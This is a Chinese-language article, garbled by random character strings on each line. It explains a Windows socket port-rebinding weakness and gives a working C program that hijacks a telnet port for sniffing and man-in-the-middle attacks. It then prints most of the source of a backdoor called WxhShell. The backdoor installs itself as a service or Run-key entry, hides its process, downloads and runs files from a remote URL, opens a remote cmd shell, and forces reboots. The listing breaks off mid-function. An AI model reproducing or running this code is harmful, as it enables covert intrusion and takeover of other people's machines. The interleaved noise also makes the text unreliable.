在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Qu?R8+"KS s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_}lZ,L(w -]/I73!b saddr.sin_family = AF_INET;
C'\-
@/ k1w_[w[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6&
e3Nt i2E)P x bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>7lx=T
x 60P#,o@G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0b+Wc43}K Jj!vh{ 这意味着什么?意味着可以进行如下的攻击:
(G zb "6MVvpy" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QdT}wkX z>58dA@f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N60rgSzI @e(o129 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+giyX7BPJ {@6=Q 6L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:o0JY= 5 ;&<{ey 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"+kL)] fkuLj%R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ii[F]sR\ qkt0**\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=
s>T;| Vq2y4D? #include
.aO,8M #include
u$DHVRrF< #include
Wvbf"hq #include
kpJ@M%46
DWORD WINAPI ClientThread(LPVOID lpParam);
UtPLI al int main()
!}YAdZJ {
%`>nS@1zp WORD wVersionRequested;
?I6fye7 DWORD ret;
?k]2*}bz WSADATA wsaData;
>zw.GwN| BOOL val;
q*U*Fu+ SOCKADDR_IN saddr;
$Z.7zH SOCKADDR_IN scaddr;
@Z*W int err;
Dd'm U SOCKET s;
pWy=W&0~qf SOCKET sc;
YLqGRE`W int caddsize;
$bW3_rl%X HANDLE mt;
L^E[J` DWORD tid;
Z,sv9{4r wVersionRequested = MAKEWORD( 2, 2 );
-}nxJH ) err = WSAStartup( wVersionRequested, &wsaData );
VCY\be if ( err != 0 ) {
13 =A printf("error!WSAStartup failed!\n");
%-)H^i~]% return -1;
)2Wi`ZT }
7|{}\w(I saddr.sin_family = AF_INET;
;nep5!s;< "fG8?)d; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n!YKz"$ hBS.a6u1'd saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
f%SZg!+t saddr.sin_port = htons(23);
[b6R% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1pt%Kw*@j {
_wTOmz%|R printf("error!socket failed!\n");
sPr~=,F return -1;
m_.>C }
PH1p2Je val = TRUE;
-8; 7Sp1 //SO_REUSEADDR选项就是可以实现端口重绑定的
JSkLEa~< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
K~c=M",mW {
O{QA printf("error!setsockopt failed!\n");
d;zai]] return -1;
`P@T$bC }
#bUXgn> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
YM1'L\^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=y
[M\m //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"Ue.@> K~AR*1??[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
5*+!+V^?X {
(zgW%{V@ ret=GetLastError();
0xxg|;h.,g printf("error!bind failed!\n");
d6'{rje( return -1;
c9HrMgW }
n!NS(.o listen(s,2);
tXoWwQD;Y while(1)
q;R],7Re {
@JtM5qB caddsize = sizeof(scaddr);
J#w
J4! //接受连接请求
}T; P~aG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Tu$f? if(sc!=INVALID_SOCKET)
Wl B {
dYG,_ji mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
v'U{/ ,x if(mt==NULL)
% 5m/ {
qAAX;N printf("Thread Creat Failed!\n");
z>XrU>} break;
Xnz3p" }
?j40}
B]]d }
oI=fx Sjd CloseHandle(mt);
ukIQr/k }
o^^rJk closesocket(s);
GR
+[UG WSACleanup();
z2MWN\?8 return 0;
eFaO7mz5V% }
"]"|"0#i DWORD WINAPI ClientThread(LPVOID lpParam)
|bq$xp {
v9:9E|,U+ SOCKET ss = (SOCKET)lpParam;
le1}0L SOCKET sc;
2[Z,J%:0 unsigned char buf[4096];
Hw7;;HK
7 SOCKADDR_IN saddr;
B
P2=2)Q long num;
Ka[t75~; DWORD val;
QIB\AAclO DWORD ret;
uehDIl0\[b //如果是隐藏端口应用的话,可以在此处加一些判断
I/&%]"[^u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
E8pB;\Z( saddr.sin_family = AF_INET;
:K-~fA%kt? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q?nN!eT saddr.sin_port = htons(23);
U*i{5/$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;*Ivn@L {
oE+R3[D?r printf("error!socket failed!\n");
2^y^q2(r return -1;
<}E!w_yi }
pnjXf.g"O val = 100;
4(|cG7>9- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ba[1wFmcL {
qHuZcht ret = GetLastError();
v-#Q7T return -1;
#pb92kA' }
e4!:c^? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X' d9[). {
)\eI;8 ret = GetLastError();
%+j8["VEC return -1;
L W[9 }
m;'6MHx; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
()5[x.xK@ {
X;i~<Tq printf("error!socket connect failed!\n");
EH256f(& closesocket(sc);
gu0j.XS^ closesocket(ss);
\9cG36 return -1;
[3(74 }
+Af"f' ) while(1)
[U5\bX@$ {
kS_(wpA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`Gn50-@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
s$cK(S# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b6U2GDm\s num = recv(ss,buf,4096,0);
Y&S24aql if(num>0)
.@(6 Y<dN send(sc,buf,num,0);
q=%RDG+ else if(num==0)
9;r)#3Q[^ break;
[P&7i57 num = recv(sc,buf,4096,0);
mS^tX i5hg if(num>0)
KVT-P};jy* send(ss,buf,num,0);
A/u)# ^\ else if(num==0)
zG ^$"f2 break;
P(H8[ , }
PcA2/!a closesocket(ss);
*~t6(v? closesocket(sc);
v.pBX< return 0 ;
tnPv70m }
j6Yy6X] K
P Oa|$ SZ,YS
4M ==========================================================
|y0(Q V CDP
U\ZG 下边附上一个代码,,WXhSHELL
^>i63Yc %kS(LlL+6 ==========================================================
+89*)pk 1guJG_;z #include "stdafx.h"
| N[<x@ t5y;CxL #include <stdio.h>
NWMFtT #include <string.h>
\.-}adKg #include <windows.h>
%p2Sh)@M #include <winsock2.h>
3BtaH#ZY #include <winsvc.h>
)iYxt:(, #include <urlmon.h>
/H8g( H."EUcE{ #pragma comment (lib, "Ws2_32.lib")
d-k%{eBV #pragma comment (lib, "urlmon.lib")
{]:7bV#JP 1][4.}?F[ #define MAX_USER 100 // 最大客户端连接数
!HnXXVW #define BUF_SOCK 200 // sock buffer
nQ5n-A&[" #define KEY_BUFF 255 // 输入 buffer
A-ZN F4 Bj1?x #define REBOOT 0 // 重启
{]%0lf: #define SHUTDOWN 1 // 关机
\l9qt5rS Dey<OE& #define DEF_PORT 5000 // 监听端口
czS+<
w S7/eS)SQR #define REG_LEN 16 // 注册表键长度
uTKD 4yig #define SVC_LEN 80 // NT服务名长度
2QJ{a46} dwDcR,z?a // 从dll定义API
2E}*v5b, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
P_*" dza typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_V7r1fY: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
X!9 B2w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#,":vr j$?{\iXZ // wxhshell配置信息
C-\S/yd struct WSCFG {
AlAY iUw{ int ws_port; // 监听端口
9}PhN<Gd char ws_passstr[REG_LEN]; // 口令
i*/Yz*< int ws_autoins; // 安装标记, 1=yes 0=no
f;W|\z' char ws_regname[REG_LEN]; // 注册表键名
7?GIS ' char ws_svcname[REG_LEN]; // 服务名
8B\2Zfe char ws_svcdisp[SVC_LEN]; // 服务显示名
^(f"v
e#7v char ws_svcdesc[SVC_LEN]; // 服务描述信息
.k%[4:Fe char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?~hHGf\^b6 int ws_downexe; // 下载执行标记, 1=yes 0=no
;[=8B\? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
BqD'8zLD char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Rb%8)t
x auK?](U };
56zL"TF` UA48Ug // default Wxhshell configuration
B?'#4J struct WSCFG wscfg={DEF_PORT,
=;2%a( "xuhuanlingzhe",
{L/ tst#C 1,
Y@N,qHtz "Wxhshell",
A v2 08}Y "Wxhshell",
"1L$| "WxhShell Service",
G(p`1~xm "Wrsky Windows CmdShell Service",
;" dV"W
"Please Input Your Password: ",
]G5w6&d 1,
h*w%jdQ6 "
http://www.wrsky.com/wxhshell.exe",
%oZ6l* "Wxhshell.exe"
925|bX6I };
}BZ"S-hZ C71qPb|$R // 消息定义模块
E4|jOz^j4\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w5A y)lz char *msg_ws_prompt="\n\r? for help\n\r#>";
l49*<nkmq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.Le?T&_ char *msg_ws_ext="\n\rExit.";
WtG~('g>& char *msg_ws_end="\n\rQuit.";
GO`Ru 8 char *msg_ws_boot="\n\rReboot...";
$\]&rZVi char *msg_ws_poff="\n\rShutdown...";
El.hu%#n*G char *msg_ws_down="\n\rSave to ";
Ju96#v+: ]rWgSID char *msg_ws_err="\n\rErr!";
S|7!{} char *msg_ws_ok="\n\rOK!";
zgNc4B zNxW'?0Z? char ExeFile[MAX_PATH];
'98VYCL int nUser = 0;
kEOS{C%6R HANDLE handles[MAX_USER];
lij.N)E int OsIsNt;
bdC8zDD T
6)bD& SERVICE_STATUS serviceStatus;
b{L/4bu SERVICE_STATUS_HANDLE hServiceStatusHandle;
5nT"rA jbVECi- // 函数声明
iOU6V int Install(void);
mz, int Uninstall(void);
lQ" p ! int DownloadFile(char *sURL, SOCKET wsh);
gkES5Q int Boot(int flag);
pEBM3r!X void HideProc(void);
(tIo:j int GetOsVer(void);
i;/5Y'KZ int Wxhshell(SOCKET wsl);
xJ>fm%{5 void TalkWithClient(void *cs);
f&BY/ n, int CmdShell(SOCKET sock);
Fl kcU
`j int StartFromService(void);
w<Wf?a G int StartWxhshell(LPSTR lpCmdLine);
YG3J$_?y0 'gC_)rK* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
kCR_tn
4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
o4m\~as)Y k5:G-BQ: // 数据结构和表定义
H*ow\
Ct SERVICE_TABLE_ENTRY DispatchTable[] =
'p>Ra/4 {
mZSD( {wscfg.ws_svcname, NTServiceMain},
sf)EMh3Z {NULL, NULL}
L ^q""[ };
w80oXXs[# cq}EZ@ . // 自我安装
`A w^H! int Install(void)
Qw-~>d {
=]6%G7T char svExeFile[MAX_PATH];
+x0!*3q HKEY key;
L^}_~PO N5 strcpy(svExeFile,ExeFile);
iII=;:p )wC?T // 如果是win9x系统,修改注册表设为自启动
Q.l}NtHwV if(!OsIsNt) {
uJzG|$; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@ ;*Ksy@1O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y$Zx, RegCloseKey(key);
a1C{(f) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c0,0`+2~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pT=JP> nd^ RegCloseKey(key);
NW]Lj>0Y return 0;
w,#>G07D }
em,u(#)& }
:r{<zd>; }
D{GfLib"U else {
F*IzQ(#HW >AVVEv18 // 如果是NT以上系统,安装为系统服务
vdAr|4^qB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#|L8tuWW if (schSCManager!=0)
,:%CB"J {
[pbo4e,4O SC_HANDLE schService = CreateService
RRmz"j> (
-ws? "_w schSCManager,
#.rdQ,)< wscfg.ws_svcname,
9IjIIM2y wscfg.ws_svcdisp,
yA)/Q
Yge SERVICE_ALL_ACCESS,
|iak z|]) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ag 9vU7 SERVICE_AUTO_START,
|2O]R s SERVICE_ERROR_NORMAL,
.+PI}[g svExeFile,
u+Y\6~=+ NULL,
z* ^_)Z NULL,
wH>a~C: NULL,
jyZ (RB NULL,
aS{|uE] NULL
= bfJ^]R );
B^4&-z2| if (schService!=0)
E{XH?_xo {
|XQIfW]A CloseServiceHandle(schService);
3@kf@Vf CloseServiceHandle(schSCManager);
?qPo=~y01 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
SheM|I~de strcat(svExeFile,wscfg.ws_svcname);
MqW7cjg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dq(uVW^&ae RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
azCf RegCloseKey(key);
\y97W&AN return 0;
|]jb& M }
J"!vu.[ }
'~5LY!H(pT CloseServiceHandle(schSCManager);
x-$&g*< }
MI/MhkS
? }
94h]~GqNi fz|cnU return 1;
<^&ehy:7y }
z06r6 ,)0H3t // 自我卸载
95ZyP! int Uninstall(void)
ni.cTOSx {
9]k @Q_ HKEY key;
}JF13beU U;YC}r if(!OsIsNt) {
[$mHv,~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{#ZlM RegDeleteValue(key,wscfg.ws_regname);
]^yFaTfS RegCloseKey(key);
8[a=OP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zwhe RegDeleteValue(key,wscfg.ws_regname);
2M.fLQ? RegCloseKey(key);
Kz~ps
5 return 0;
qraSRK5 }
WffQ :L? }
&-;4.op }
p)`{Sos else {
ASKf'\,dV ;y,5k? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3k\#CiB{ if (schSCManager!=0)
`ZU($!( {
6c}h(TkB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@@R7p if (schService!=0)
,BH@j%Jmy {
BBaQ}{F8>2 if(DeleteService(schService)!=0) {
*1uKr9 CloseServiceHandle(schService);
o*-)Tq8GHE CloseServiceHandle(schSCManager);
vmU@^2JSJ return 0;
vx1c,8 }
'.on)Zd. CloseServiceHandle(schService);
Dt}JG6 S }
B-xGX$<z CloseServiceHandle(schSCManager);
ZGBd%RWjG_ }
}u\])I3 }
$:8x(&+/@ r/YMLQ return 1;
b LB:MW\% }
vUN22;Z\ %P<hW+P! // 从指定url下载文件
{>}!+k
-` int DownloadFile(char *sURL, SOCKET wsh)
:y+2*lV {
]s]vZ HRESULT hr;
N nRD|A char seps[]= "/";
eX?OYDDC0j char *token;
]3x? char *file;
\9cbI3rGz char myURL[MAX_PATH];
ERUz3mjA/ char myFILE[MAX_PATH];
]_Vx{oT7 hW%TM3l} strcpy(myURL,sURL);
,`|3KE9 token=strtok(myURL,seps);
y<?kzt while(token!=NULL)
LzG%Z1` {
Z~AO0zUKY file=token;
&TnS4O token=strtok(NULL,seps);
S*==aftl( }
rx'RSo#1O !`k1:@NZ GetCurrentDirectory(MAX_PATH,myFILE);
- \5v^l strcat(myFILE, "\\");
O@tU.5*$5 strcat(myFILE, file);
RM]\+BK send(wsh,myFILE,strlen(myFILE),0);
fFMlDg[]; send(wsh,"...",3,0);
NokU)O ;x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`[z<4"Os if(hr==S_OK)
@fHi\W2JG return 0;
PxTwPl else
u#Pa7_zBj] return 1;
srr
:!5 Vrjc~>X }
*U^6u/iH viW!,QQ(S // 系统电源模块
({
8-* int Boot(int flag)
US+Q~GTA {
.?D7dyU l1 HANDLE hToken;
`n.5f[wC TOKEN_PRIVILEGES tkp;
Qk0R a_ V39g,=`b% if(OsIsNt) {
Y#]+Tm(+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-j+UMlkB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
4~ q5,^kgB tkp.PrivilegeCount = 1;
[^R^8k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Gk.
ruQW" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|!1Y*|Q%s if(flag==REBOOT) {
]S&&|Fc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
i)o2klIkB return 0;
ED2a}Tt>Z }
cW~}:;D4 else {
}'5MK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
dWM'fg return 0;
bo,_&4? }
szb_*)k }
i#&z2h-b else {
>] qc-{>& if(flag==REBOOT) {
&)YQv Tzs if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
O#n8=B4 return 0;
Hta y-PB } }
ynmWW^dg else {
<>n0arAn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>Y&N8PHD return 0;
wc0jhHZO
? }
IrR7"`.i }
V8e>l[tH P]<4R:yb return 1;
<m!h&_eg }
tf=6\p !!qK=V|> // win9x进程隐藏模块
y>R=`A1b void HideProc(void)
4qN{n#{+] {
Rh3eLt~|( }elc `jj HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~<P
0]ju if ( hKernel != NULL )
d4m=0G` {
.0p0_f= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZWii)0'PV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
t#yk->, FreeLibrary(hKernel);
O1rvaOlr }
~Xw"}S5 -B>++r2A^ return;
214Ml0/% }
Zvhsyz| UN7EF/!Zz // 获取操作系统版本
!*/*8re int GetOsVer(void)
Nw:GCf-L {
\Lq h j OSVERSIONINFO winfo;
Y}@&h! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
g(nPQOs$u GetVersionEx(&winfo);
9Q
-HeXvR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8{Q<N%Jnu return 1;
E^Y#&skXp3 else
IWBX'|}K return 0;
> pgX^ }
jy7\+i MtM%{=&_ // 客户端句柄模块
pEw"8U int Wxhshell(SOCKET wsl)
<3(LWxw {
uvgdY SOCKET wsh;
h}-3\8 > struct sockaddr_in client;
BK*x] zG$ DWORD myID;
vrl;"Fm+ d[[]PX while(nUser<MAX_USER)
cD@(/$wt {
.=U#eHBdAQ int nSize=sizeof(client);
Pnw]Tm}g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zh4#A
<e if(wsh==INVALID_SOCKET) return 1;
y@]_+2Vo wWgWWXGT} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9K/HO!z if(handles[nUser]==0)
m 2-Sx closesocket(wsh);
=Xm@YVf&ZD else
t4{rb,
}W nUser++;
&6DMk- }
1h(0IjG8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3E7ULK D@C-5rmq return 0;
:Y-{Kn6`_ }
}p=Jm)y ,?PTcQF // 关闭 socket
%el"BSB void CloseIt(SOCKET wsh)
"BD~xP( {
%mL-$* closesocket(wsh);
YTAmgkF\4 nUser--;
k")R[)92b? ExitThread(0);
Z/Eb: }
<wZQc =5aDM\L$& // 客户端请求句柄
soPLA68 void TalkWithClient(void *cs)
(
Wa {
DvME1]7) ~0?mBy!-O SOCKET wsh=(SOCKET)cs;
Xsa2(- char pwd[SVC_LEN];
aF8fqu\ char cmd[KEY_BUFF];
jNu9KlN char chr[1];
Yv
hA_v int i,j;
"b?v?V0%C e }mD]O} while (nUser < MAX_USER) {
K )[]fm "ZHW2l Mf if(wscfg.ws_passstr) {
_\=`6`b) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Gn&-X]Rrl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ok>gh2e[c //ZeroMemory(pwd,KEY_BUFF);
'"y|p+=j: i=0;
o5xAav"+> while(i<SVC_LEN) {
`))\}C@k H|,Oswk~- // 设置超时
zG+R5: fd_set FdRead;
4!$s}V=6 struct timeval TimeOut;
za#s/b$[ FD_ZERO(&FdRead);
"mX\&%i6\p FD_SET(wsh,&FdRead);
~SQ?BoCI[ TimeOut.tv_sec=8;
DQMHOd7g TimeOut.tv_usec=0;
cQG
+$0( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?/TSi0R if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
rJFc({ 0
qNI,
62 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)q0. 0<f pwd
=chr[0]; M@h|bN
if(chr[0]==0xd || chr[0]==0xa) { CQwL|$)]Y
pwd=0; G,TM-l_uw
break; FSU ttg"
} qs|mj}?
i++; .7zK@6i
} |M8WyW
A"`foI$0
// 如果是非法用户,关闭 socket %cCs?ic
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =PUt&`1.a
} jlp:lX
~UyV<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }>)@WL:q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :k7uGD
^BUYjq%(`
while(1) { c;{Q,"9U
yvgrIdEP
ZeroMemory(cmd,KEY_BUFF); )Y]{HQd
UUF;p2{f
// 自动支持客户端 telnet标准 ub7zA!%
j=0; 6UevpDB
while(j<KEY_BUFF) { df*5,NV'-*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iQ4);du
cmd[j]=chr[0]; H(2!1?N+
if(chr[0]==0xa || chr[0]==0xd) { ex+\nD>t4
cmd[j]=0; Wqc)Fv70m
break; _nD$b={g
} FvN<<&B
j++; {D!6%`HKV+
} Op"M.]#
o8zy^zN$6
// 下载文件 \|]Z8t7
if(strstr(cmd,"http://")) { uMut=ja(U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); DjI3?NN
if(DownloadFile(cmd,wsh)) \I["2C]3M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !1n8vzs"c
else hj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]BtbWKJBqe
} 6}4'E
else { >RPd$('T
ONx(]
switch(cmd[0]) { BJgW,huLy
53c 0
E
// 帮助 ?|WoIV.
case '?': { !iH-#B-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bKj%s@x
break; PlF87j (
} 8i|w(5m;
// 安装 |l&vkRrN
case 'i': { RG3l.jL
if(Install()) 3<k `+,'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\LiSGePN
else fLDg~;3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TlI<1/fP}
break; fBgEnz/
} !_+8A/
// 卸载 8~9030>Q
case 'r': { @Ukr
if(Uninstall()) <EPj$::
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6o_b4l
else uHH/rMV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %7#-%{
break; KBXK0zWh7
} xY+VyOUs
// 显示 wxhshell 所在路径 XW -2~?$
case 'p': { X/z6"*(|/
char svExeFile[MAX_PATH]; s7g(3<(
strcpy(svExeFile,"\n\r"); /CuXa%Ci^
strcat(svExeFile,ExeFile); 1BAgtd$3
send(wsh,svExeFile,strlen(svExeFile),0); 1rKlZsZ#*
break; ymegr(9&K
} AZzuI*
// 重启 nl(WJKq'
case 'b': { }Ow>dV?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zq,9&y~
if(Boot(REBOOT)) 3uZJ.Fb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@#Y8M
else { ?."&MZ
closesocket(wsh); $U$V?xuE
ExitThread(0); |+35y_i6
} z\0CE]#T
break; tp6M=MC%
} eh4gQ^l
// 关机 J8M$k/"X
case 'd': { Zm"{V iv]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %honO@$
if(Boot(SHUTDOWN)) q(zJ%Gv)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %VzKqh
else { fLSXPvm
closesocket(wsh); ,*&G1|_6
ExitThread(0); R+nMy=I%8
} fwrJ!j
break; "t({D
} 5DXR8mLoaJ
// 获取shell ~7$&WzD
case 's': { ^qg?6S4
CmdShell(wsh); L7= Q<D<
closesocket(wsh); "6R
5+
ExitThread(0); z
>YFyu#LF
break; Aub]IO~
} -b9;5eS!
// 退出 $we]91(::
case 'x': { 2RqbrY n
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e$u4vC~
CloseIt(wsh); za:a)U^n
break; 'WI^nZM
} ybeKiv9
// 离开 Yly@ww9t|
case 'q': { ,h{A^[yl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {&P
FXJ
closesocket(wsh); ? Zc"C
WSACleanup(); Rx*BwZ
exit(1); Vs)--t
break; >_c5r?]S G
} P+!"wX0*N
} i]=&
} EyI}{6~F
Ti2Ls5H}
// 提示信息 `}m Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v?0r`<Mn
} &-czStQ
}
[U@*1
WYIQE$SEv
return; sK"9fU
} yf?h#G%24
-*~CV:2iq-
// shell模块句柄 N7b1.]<
int CmdShell(SOCKET sock) :d0Y%vl
{ /wxE1][.
STARTUPINFO si; hY*0aZ|(
ZeroMemory(&si,sizeof(si)); &n[~!%(
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i\4hR?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KJ?y@Q
PROCESS_INFORMATION ProcessInfo; +B'8|5tPX
char cmdline[]="cmd"; .fi/I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4<lQwV6=
return 0; BaO1/zk
} Tzt ,/e
[L6w1b,
// 自身启动模式 ^9_UUzf\
int StartFromService(void) c(U
{ [w0/\]o
typedef struct @v}B6j b;
{ LuR,f"%2
DWORD ExitStatus; )jCo%P/
DWORD PebBaseAddress; d'*]ns
DWORD AffinityMask; TgTnqR@/
DWORD BasePriority; V $|<
ULONG UniqueProcessId; sowd`I~
